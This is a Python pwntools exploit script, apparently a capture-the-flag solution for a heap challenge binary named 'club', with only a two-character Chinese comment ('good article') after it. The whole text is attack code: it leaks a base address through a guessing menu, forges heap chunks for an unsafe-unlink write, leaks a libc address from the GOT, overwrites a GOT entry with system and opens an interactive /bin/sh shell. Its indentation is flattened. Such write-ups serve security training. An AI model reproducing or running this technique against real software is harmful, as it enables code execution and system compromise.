from pwn import *
import sys
context.arch = 'amd64'
if len(sys.argv) < 2:
p = process('./club')
context.log_level = 'debug'
else:
context.log_level = 'debug'
p = remote(sys.argv[1], int(sys.argv[2]))
def delete(index):
p.recvuntil('> ')
p.send('2')
p.recvuntil('> ')
p.send(str(index+1))
def edit(index,content):
p.recvuntil('> ')
p.send('3')
p.recvuntil('> ')
p.send(str(index+1))
p.send(content)
p.send("\n")
def create(index,size,content):
p.recvuntil('> ')
p.send('1')
p.recvuntil('> ')
p.send(str(index+1))
p.recvuntil('> ')
p.send(str(size))
edit(index,content)
def create3(index,size,content):
p.send('1')
p.recvuntil('> ')
p.send(str(index+1))
p.recvuntil('> ')
p.send(str(size))
edit(index,content)
def create2(index,size):
p.recvuntil('> ')
p.send('1')
p.recvuntil('> ')
p.send(str(index+1))
p.recvuntil('> ')
p.send(str(size))
def guess(number):
p.recvuntil('> ')
p.send('5')
p.recvuntil('> ')
p.send(str(number))
def show(number):
p.recvuntil('> ')
p.send('4')
p.recvuntil('> ')
p.send(str(number))
def exp():
guess(1)
z=p.recvline('Wr0ng')
val =int(z[27:-2])
log.info(int(z[27:-2]))
aa=process('./xx')
aa.sendline(str(val))
guess(int(aa.recvline()))
z=p.recvline('G00d')
log.info(z)
val =long(z[26:-2])
log.info(long(z[26:-2]))
seed_off = 0x202148L
base=val-seed_off
log.info(hex(base))
system_off = 0x45390L
puts_off = 0x6f690L
got_addr = 0x202018L+base
p_addr = 0x202118L+base
puts_plt = 0x202180L+base
create(0,0x30,'234')
create(2,0x200,'XXXX')
create(1,0x100,'YYYY')
delete(2)
delete(1)
payload = p64(0)+p64(0x201)+p64(p_addr-0x18)+p64(p_addr-0x10)+'X'*(0x200-32)+p64(0x200)+p64(0x110)
create(3,0x310,payload)
delete(1)
edit(2,p64(0)+p64(got_addr+0x10)+p64(got_addr))
show(1)
puts_addr = p.recv(6)
log.info('x address:'+hex(u64(puts_addr+'\x00'*2)-puts_off))
system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off
edit(1,p64(system_addr))
edit(2,'/bin/sh\x00')
delete(2)
p.interactive()
if __name__ == '__main__':
exp()
好文章
